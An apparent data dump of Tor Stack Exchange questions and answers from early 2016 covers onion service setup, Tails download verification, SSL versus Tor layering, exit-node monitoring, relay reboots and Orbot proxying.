  <row Id="9548" PostTypeId="1" CreationDate="2016-01-26T02:13:42.053" Score="1" ViewCount="159" Body="&lt;p&gt;If your running lets say three hidden services will they all have the same exit realy if so is it possible through torrc config or something to have different exit relays or even circuits? &lt;/p&gt;&#xA;" OwnerUserId="10625" LastActivityDate="2016-01-28T16:07:48.567" Title="Multiple Tor hidden services" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9551" PostTypeId="1" CreationDate="2016-01-26T15:30:06.417" Score="1" ViewCount="65" Body="&lt;p&gt;I want to download Tails and verify by comparing multiple downloads from different sites. Can anyone point me to a list of these sites please? If I go to tor project.org there is just one download button. thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="10630" LastActivityDate="2016-03-26T18:35:06.930" Title="Multiple download sites for verification" Tags="|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9552" PostTypeId="1" CreationDate="2016-01-26T16:42:27.290" Score="1" ViewCount="558" Body="&lt;p&gt;I am having a need to register a twitch.tv account with TOR (my static IP got blocked thanks to my brother) but i am experiencing issue with account creation. The form doesnt allow me to go forward beacuse of really bad design of ReCaptcha &quot;I AM NOT A ROBOT&quot; button that after getting clicked requires me to repeat and repeat the procedure of clicking road signs. I think it has something to do with constantly changing IP. I even replaced&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9150 IPv6Traffic PreferIPv6 NoIsolateSOCKSAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as described here: &lt;a href=&quot;https://tor.stackexchange.com/questions/6855/how-to-prevent-a-circuit-from-changing-between-browser-tabs&quot;&gt;How to prevent a circuit from changing between browser tabs?&lt;/a&gt; but i kept those IPv6 stuff in &lt;code&gt;torrc-defaults&lt;/code&gt; file. Even after changing those prefs i STILL experience same issues with ReCaptcha. Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="10632" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-07-03T15:01:37.853" Title="I can't register on twitch.tv with TOR beacuse image captcha loops itself" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostTypeId="2" ParentId="9551" CreationDate="2016-01-26T17:42:40.667" Score="1" Body="&lt;p&gt;Your options are either to download Tails via:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bit-torrent;&lt;/li&gt;&#xA;&lt;li&gt;HTTPS from a mirror.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;https://tails.boum.org/contribute/how/mirror/#index5h2&quot; rel=&quot;nofollow&quot;&gt;the way that the &lt;em&gt;official&lt;/em&gt; Tails mirrors work&lt;/a&gt; is to actually act as virtual hosts with the main site pointing to them, meaning there &lt;em&gt;is&lt;/em&gt; only one button, rather than a list of places from which you can download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming the reason for this is to prevent Bad People setting up their own private mirrors and serving compromised versions of Tails to users who don't know to download it from the official site, and therefore are ignorant to the official advice about authenticating the ISO...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Therefore, if you're worried about the authenticity of anything you download from the official site, see if the details on &lt;a href=&quot;https://tails.boum.org/download/index.en.html#verify&quot; rel=&quot;nofollow&quot;&gt;verifying the ISO&lt;/a&gt;, and the more detailed page on &lt;a href=&quot;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&quot; rel=&quot;nofollow&quot;&gt;trusting the signing key&lt;/a&gt;, set you mind at rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not you can trust this advice has been &lt;a href=&quot;https://tor.stackexchange.com/questions/7596/can-tails-confidence-suggestions-be-trusted&quot;&gt;discussed in the past&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-26T17:42:40.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9554" PostTypeId="2" ParentId="9551" CreationDate="2016-01-26T17:44:16.960" Score="0" Body="&lt;p&gt;Use a &lt;a href=&quot;https://tails.boum.org/download/index.en.html&quot; rel=&quot;nofollow&quot;&gt;bittorrent download&lt;/a&gt; - it will be verified by alot of people. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-26T17:44:16.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9555" PostTypeId="1" AcceptedAnswerId="9557" CreationDate="2016-01-26T22:25:44.710" Score="0" ViewCount="53" Body="&lt;p&gt;I have been informed that Skype now has a feature to hide IP addresses better.  Does this cover all angles, or is Tor still required to use Skype as safely as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not seeking security from Microsoft or a government seeing my IP address, but from other users.&lt;/p&gt;&#xA;" OwnerUserId="10637" LastEditorUserId="10637" LastEditDate="2016-01-26T23:03:08.233" LastActivityDate="2016-01-26T23:03:08.233" Title="Is Torrification required to hide your IP Address on Skype?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostTypeId="1" CreationDate="2016-01-26T22:36:11.987" Score="2" ViewCount="363" Body="&lt;p&gt;Just finished downloading the installation file for the browser and when I click on the file it does not open.   What is wrong ?&lt;/p&gt;&#xA;" OwnerUserId="10638" LastEditorUserId="3471" LastEditDate="2017-01-29T12:45:20.980" LastActivityDate="2017-01-29T12:45:20.980" Title="Cannot run installation on Windows Vista" Tags="|configuration|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9557" PostTypeId="2" ParentId="9555" CreationDate="2016-01-26T22:56:22.050" Score="1" Body="&lt;p&gt;Yes, torrification is required, because Skype was purchased by Microsoft, which is known for its collaboration with censors. Actually &lt;a href=&quot;http://www.circleid.com/posts/20120917_microsoft_takedown_of_3322_org_a_gigantic_self_goal/&quot; rel=&quot;nofollow&quot;&gt;they even do traffic circumvertion themselves without any notice&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-26T22:56:22.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9564" PostTypeId="1" CreationDate="2016-01-28T03:56:58.087" Score="0" ViewCount="327" Body="&lt;p&gt;How do you relay a local server to run on a .onion address on OSx? I have read the &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor docs&lt;/a&gt; and added the below line to my &lt;code&gt;torrc&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Applications/TorBrowser.app/TorBrowser/Data/Tor/hidden_service&#xA;HiddenServicePort 80 127.0.0.1:4000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After saving and restarting Tor it will not open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6rOVe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rOVe.png&quot; alt=&quot;tor not opening&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10653" LastActivityDate="2016-01-28T15:52:28.347" Title="Host on .onion address on OSx" Tags="|onion-services|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9565" PostTypeId="1" CreationDate="2016-01-28T12:44:14.350" Score="2" ViewCount="965" Body="&lt;p&gt;I'm a mathematics student trying to understand Tor. I have little knowledge of networks and how exactly they function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to now I (think I) understand the basic functionality of Tor. A route is generated first from the consensus list, and the packet (the message) is sent through that route. The packet is encrypted multiple times using the public keys obtained from the consensus list, and each relay strips away a layer of encryption before sending it on to the next relay (side question: how does this work with bridge relays? Is the message sent to a bridge relay first and then into the public Tor network, or does it move exclusively through bridge relays?). This means that the destination IP and IP of the sender are never in the same header of the packet and this is what gives Tor its relative anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very often however I notice that SSL is brought up when discussions regarding Tor are made. I understand that SSL encrypts the data sent between the client and the server. But if this is the case I don't see how SSL is related to Tor, since they seemingly function on a different layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: More specifically, I'm reading about how Iranian and Chinese authorities did &quot;Deep Package Inspection&quot; (i'm assuming this means that they looked at the contents of each packet) to look for SSL. Is this because SSL is used by default with encrypting the different layers in an onioned packet? If so, is there a reason that looking for SSL was enough to indentify a Tor connection?&lt;/p&gt;&#xA;" OwnerUserId="10657" LastActivityDate="2020-08-08T19:44:44.833" Title="Attempting to undertand Tor and it's relationship with SSL" Tags="|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostTypeId="1" CreationDate="2016-01-28T15:10:09.480" Score="1" ViewCount="51" Body="&lt;p&gt;The occasional re-boot is needed for updates and things. Do I need to somehow clear / stop current relay circuits prior to doing a reboot to keep from messing someone up? Or do it just do a tor service stop, reboot, and it will come back to life.  Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="10658" LastActivityDate="2016-01-28T16:48:23.937" Title="Circuits in use when time to re-boot" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostTypeId="2" ParentId="9564" CreationDate="2016-01-28T15:52:28.347" Score="-1" Body="&lt;p&gt;If you're happy to install the Python library &lt;code&gt;txtorcon&lt;/code&gt; (which gives you Twisted) then you should be able to do something like: &lt;code&gt;twistd -n web --port &quot;onion:80&quot; --path ~/public_html&lt;/code&gt; which will launch a Tor if needed; &lt;code&gt;tor&lt;/code&gt; should be in your PATH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly for sharing single files, there's &lt;code&gt;carml pastebin&lt;/code&gt; (&lt;a href=&quot;https://carml.readthedocs.org/en/latest/command-pastebin.html&quot; rel=&quot;nofollow&quot;&gt;https://carml.readthedocs.org/en/latest/command-pastebin.html&lt;/a&gt;) or OnionShare (&lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow&quot;&gt;https://onionshare.org/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think changing TBB's tor config is very suited to this, as exiting TBB will shut down Tor and therefore take your service offline.&lt;/p&gt;&#xA;" OwnerUserId="5301" LastActivityDate="2016-01-28T15:52:28.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostTypeId="2" ParentId="9548" CreationDate="2016-01-28T16:07:48.567" Score="1" Body="&lt;p&gt;Each hidden-service will select its own set of introduction points, and hidden services don't use exit-relays at all.&lt;/p&gt;&#xA;" OwnerUserId="5301" LastActivityDate="2016-01-28T16:07:48.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9571" PostTypeId="2" ParentId="9566" CreationDate="2016-01-28T16:48:23.937" Score="2" Body="&lt;p&gt;You just follow the normal way to stop tor (and start it after you reboot). When you stop tor, it will show you something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 27 14:12:23.000 [notice] Interrupt: we have stopped accepting new connections, and will shut down in 30 seconds. Interrupt again to exit now.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, it is exiting 'gracefully'.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2016-01-28T16:48:23.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9574" PostTypeId="2" ParentId="9565" CreationDate="2016-01-29T17:02:49.470" Score="1" Body="&lt;p&gt;The SSL and Tor are &lt;strong&gt;not&lt;/strong&gt; parts of one problem. But the reason of meeting them together very ofthen lays within the network security area itself. Let me explain it - maybe abit over-deep-digging, but there's no too long proves ;) So :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SSL = &quot;Secure Socket Layer&quot;. It's a tool(kit), in another words, and in simplified ones, it cares about all the questions &quot;how to add security/verification/authentication to &lt;strong&gt;the connecion, that is already made&lt;/strong&gt; by &lt;em&gt;network stack&lt;/em&gt;&quot;. It does not care AT ALL how the network stack works.&lt;/li&gt;&#xA;&lt;li&gt;Tor = &quot;The Onion &lt;strong&gt;Router&lt;/strong&gt;&quot;. It's a part of &lt;em&gt;network stack&lt;/em&gt;, in another words, and in simplified ones, it cares about all the questions &quot;how to connect from point A to point B&quot;. And that's it! It does not care about what point A will do with point B, even if there won't be a single communication at all.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So far, so good, then let me sort a different types of materials, when you can see theese two things(Tor and SSL) discussed together :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As a &lt;em&gt;toolkit&lt;/em&gt; SSL is used in &lt;strong&gt;programmatical/software implementation&lt;/strong&gt; of Tor. It's &quot;an internals case&quot;. SSL is used to secure communications between Tor nodes and other members of Tor network &lt;strong&gt;as a part of Tor networking protocol&lt;/strong&gt;. You can see attack vectors' discussions, Tor security and speed discussions in this kind of materials.&lt;/li&gt;&#xA;&lt;li&gt;For an end-user, Tor is just a &quot;secure kind of network jack&quot;, and there's a bunch of problems related to MitM-attacks, weak ciphers in SSL stack, problems related to sending plaintext/unencrypted data e.t.c. Theese problems have common criteria of &lt;strong&gt;occuring during network interoperation&lt;/strong&gt;, and Tor network is &lt;em&gt;just another kind of netwok(as a transport layer)&lt;/em&gt; where it does occurs. Here you can read something about &quot;always using HTTPS&quot;, &lt;a href=&quot;http://perspectives-project.org/&quot; rel=&quot;nofollow&quot;&gt;Perspectives Project&lt;/a&gt; and so forth. This kind of problems is not related to Tor directly, because they're happening all the time even during a regular network experience, for example a websurfing. But due to a big interest to de-anonymisation of darknets' users, there are slightly bigger risks of being attacked.&lt;/li&gt;&#xA;&lt;li&gt;SSL speed applied to Tor network speed. As fot VPN's, so for Tor, there's a bottleneck. The network stack components based on encryption have a common speed problem, related to the encipherment-deciphering speeds. And - for example - if you're using Intel's AES instructions to speed-up AES(Rinjdael, actualy), you &lt;strong&gt;will see the speed boost&lt;/strong&gt; of your network access through such a network stack component, including Tor.&lt;/li&gt;&#xA;&lt;li&gt;Law/Regulations conformity. You know, that ciphers and their usage &lt;em&gt;are&lt;/em&gt; regulated over the world, in every country you have a different law codex. And - &quot;how to use &lt;strong&gt;cipher X&lt;/strong&gt; or Tor itself to not to brak law&quot; is a common question related to that matter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it! Feel free to ask if you have questions - I'll be glad to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-29T17:02:49.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9575" PostTypeId="2" ParentId="6447" CreationDate="2016-01-29T17:05:47.950" Score="2" Body="&lt;p&gt;Do not mess up &lt;em&gt;using Tor as a transport layer&lt;/em&gt;, where encryption is used for your &lt;strong&gt;privacy protection&lt;/strong&gt; primarily, and the &lt;em&gt;HTTP access protection by using SSL&lt;/em&gt;(aka &lt;strong&gt;HTTPS&lt;/strong&gt; ). Onion sites may use HTTPS freely by just routing in stunnel-fashion way all the ports they need to a full-featured webserver with HTTPS protection enabled.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-01-29T19:01:20.310" LastActivityDate="2016-01-29T19:01:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostTypeId="2" ParentId="3429" CreationDate="2016-01-29T17:24:08.653" Score="2" Body="&lt;p&gt;There are no IPv6-specific stuff in &lt;code&gt;torrc&lt;/code&gt;, &lt;strong&gt;but make sure to check all theese points&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're running a system with IPv6 functionality enabled&lt;/li&gt;&#xA;&lt;li&gt;You have compiled &lt;strong&gt;all&lt;/strong&gt; the pre-requisites of Tor and the Tor itself without IPv6-disabling flags&lt;/li&gt;&#xA;&lt;li&gt;You better run a local instance of &lt;a href=&quot;https://www.isc.org/downloads/bind/&quot; rel=&quot;nofollow&quot;&gt;ISC Bind&lt;/a&gt; with IPv6 and IPv4 enabled, to make sure your DNS resolving won't be glitchy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-29T17:24:08.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9578" PostTypeId="2" ParentId="9565" CreationDate="2016-01-29T18:34:24.613" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But if this is the case I don't see how SSL is related to Tor, since&#xA;  they seemingly function on a different layer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're doing some preliminary reading about networking, you're presumably looking at either the &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot; rel=&quot;nofollow&quot;&gt;OSI Model&lt;/a&gt; or the &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_protocol_suite&quot; rel=&quot;nofollow&quot;&gt;Internet Protocol Suite&lt;/a&gt;. They're different ways of representing the network stack, and differ in the number of layers they split things into.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SSL (now called TLS) and HTTPS are Application layer protocols (OSI layer 7).&lt;/li&gt;&#xA;&lt;li&gt;Tor is a &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot; rel=&quot;nofollow&quot;&gt;SOCKS&lt;/a&gt; proxy, so sits below on the Session layer (OSI layer 5).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefore, your outgoing traffic is first bundled up with HTTPS/TLS, then passed to the lower layers, where it's bundled up by Tor, then TCP (layer 4) and IP (layer 3) respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, different layers. So why do we need HTTPS/TLS? Once your traffic leaves the Tor network at the exit node, all the Tor-related encryption has been stripped off. We need some other form of encryption to provide security until we reach our final destination, mainly to prevent things like Man-in-the-Middle attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;nice interactive infographic&lt;/a&gt; on the EFF site showing what security both Tor and HTTPS (TLS) provides, and at which point on your traffic's travels.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;side question: how does this work with bridge relays? Is the message&#xA;  sent to a bridge relay first and then into the public Tor network, or&#xA;  does it move exclusively through bridge relays?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only the first, entry node is the bridge. The rest of the circuit is as normal.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-01-29T18:49:31.603" LastActivityDate="2016-01-29T18:49:31.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9579" PostTypeId="1" AcceptedAnswerId="9583" CreationDate="2016-01-31T04:30:38.483" Score="0" ViewCount="120" Body="&lt;p&gt;What is the possibility or probability that a relay that my browser is using can see and record my traffic?&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-01-31T19:54:27.960" Title="How do I know that my traffic is not being monitored by my relay?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostTypeId="1" CreationDate="2016-01-31T17:32:53.147" Score="1" ViewCount="524" Body="&lt;pre&gt;&lt;code&gt;1/31/2016 13:37:15 PM.100 [NOTICE] Opening Socks listener on&#xA;127.0.0.1:9150  1/31/2016 13:37:15 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server  1/31/2016 14:44:21 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 10; recommendation warn; host 7EA6EAD6FD83083C538F44038BBFA077587DD755 at&#xA;194.109.206.212:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 11; recommendation warn; host 9695DFC35FFEB861329B9F1AB04C46397020CE31 at&#xA;128.31.0.39:9101)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 12; recommendation warn; host 7BE683E65D48141321C5ED92F075C55364AC7123 at&#xA;193.23.244.244:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 13; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at&#xA;154.35.175.225:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 14; recommendation warn; host F2044413DAC2E02E3D6BCF4735A19BCA1DE97281 at&#xA;131.188.40.189:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 15; recommendation warn; host 0AD3FA884D18F89EEA2D89C019379E0E7FD94417 at&#xA;208.83.223.34:80)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 16; recommendation warn; host 847B1F850344D7876491A54892F904934E4EB85D at&#xA;86.59.21.38:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 17; recommendation warn; host BD6A829255CB08E66FBE7D3748363586E46B3810 at&#xA;171.25.193.9:80)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 18; recommendation warn; host 74A910646BCEEFBCD2E874FC1DC997430F968145 at&#xA;199.254.238.52:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 19; recommendation warn; host 74A910646BCEEFBCD2E874FC1DC997430F968145 at&#xA;199.254.238.52:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 20; recommendation warn; host 847B1F850344D7876491A54892F904934E4EB85D at&#xA;86.59.21.38:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 21; recommendation warn; host 7EA6EAD6FD83083C538F44038BBFA077587DD755 at&#xA;194.109.206.212:443)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 22; recommendation warn; host 0AD3FA884D18F89EEA2D89C019379E0E7FD94417 at&#xA;208.83.223.34:80)  1/31/2016 17:24:11 PM.600 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Permission denied [WSAEACCES ]; RESOURCELIMIT; count 23; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at&#xA;154.35.175.225:443)  1/31/2016 17:24:34 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150  1/31/2016 17:24:34 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.  1/31/2016 17:24:34 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150  1/31/2016 17:24:34 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="10680" LastEditorUserId="1730" LastEditDate="2016-01-31T17:55:50.390" LastActivityDate="2016-01-31T17:55:50.390" Title="cannot connect to the network" Tags="|configuration|network-configuration|" AnswerCount="0" CommentCount="4" ClosedDate="2016-06-07T07:29:30.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="9581" PostTypeId="2" ParentId="9579" CreationDate="2016-01-31T17:35:51.843" Score="0" Body="&lt;p&gt;the probability is 100% at exit node =) It's an exit node who receives a packets that it sends for you outside. But if you're using SSL/TLS verification - you should not worry about any interventions in your network traffic. About a plaintext traffic there's nothing unusual : it IS insecure, inside Tor, outside Tor or even in your home LAN.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-31T17:35:51.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostTypeId="2" ParentId="9579" CreationDate="2016-01-31T19:54:27.960" Score="2" Body="&lt;p&gt;It's mainly the exit node you'd need to be worried about, as that's where the last layer of encryption added by Tor is stripped off. The other two relays in your circuit (i.e. the entry node and middle node) can't see what's going on because of the encryption added by Tor before it leaves your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what about the exit node? As Alexey says, the Tor Browser comes with &lt;a href=&quot;https://www.eff.org/https-everywhere%20&quot; rel=&quot;nofollow&quot;&gt;HTTPS-Everywhere&lt;/a&gt; enabled by default, and therefore enforces the use of HTTPS (i.e. TLS). Attempts to connect to sites that don't support HTTPS will generate a warning and be prevented. This means you're safe from &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index6h1&quot; rel=&quot;nofollow&quot;&gt;Man-in-the-Middle&lt;/a&gt; attacks by rogue exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are other things you should be aware of when assessing your threat model, such as correlation attacks. There's &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow&quot;&gt;a page on the Tails&lt;/a&gt; site (an OS that enforces the use of Tor for &lt;em&gt;all&lt;/em&gt; network connections, not just the browser) that would be worth reading in understanding the other threats.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-31T19:54:27.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9585" PostTypeId="2" ParentId="9556" CreationDate="2016-02-01T01:54:44.517" Score="2" Body="&lt;p&gt;You may have to run the installation program as Administrator. Right click on the program icon and choose &quot;Run as Administrator&quot;. Works on Vista if you are running a 32 bit program via the 64 bit platform.&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-02-01T01:54:44.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9586" PostTypeId="2" ParentId="9470" CreationDate="2016-02-01T02:43:49.643" Score="1" Body="&lt;p&gt;I wonder if you did your testing all in one session. As far as I understand, tor randomly assigns an exit node when you start the browser but keeps you locked onto that node as long as it is kept alive so if you left the browser running for a  few days as you experimented I wonder if Trustpas simply recognized the ip of the exit node and attached the test reviews to that ip?&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-02-01T02:43:49.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9587" PostTypeId="1" AcceptedAnswerId="9600" CreationDate="2016-02-01T21:31:01.820" Score="3" ViewCount="2940" Body="&lt;p&gt;I want to use Orbot on my phone as a proxy server for my desktop or any computer on my local network. How/can I set Orbot up to let me do this?&lt;/p&gt;&#xA;" OwnerUserId="10693" LastActivityDate="2020-03-25T18:25:15.783" Title="Connect to Orbot Socks5 proxy from computer on same network" Tags="|orbot|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9588" PostTypeId="2" ParentId="9538" CreationDate="2016-02-02T01:23:39.393" Score="1" Body="&lt;p&gt;I wonder what OS you are using. I know that having a registry cleaner or guard active with Windows OS can restrict you registry from updating sometimes. Also I have had some issues between Zone Alarm and tor software which I fix by turning Zone Alarm off while downloading tor stuff so a non-native firewall (say - Zone Alarm as opposed to Windows Firewall) could be complicating your tor browser startup.&lt;/p&gt;&#xA;" OwnerUserId="10674" LastActivityDate="2016-02-02T01:23:39.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9589" PostTypeId="2" ParentId="9587" CreationDate="2016-02-02T02:42:58.643" Score="0" Body="&lt;p&gt;You can try enabling the tethering mode, if your device is rooted. It should enable the SOCKS proxy to be bound to the 0.0.0.0 interface, which means other devices can see it on the network. If you know the IP address of your device, you can find the SOCKS proxy at port 9050.&lt;/p&gt;&#xA;" OwnerUserId="1196" LastActivityDate="2016-02-02T02:42:58.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
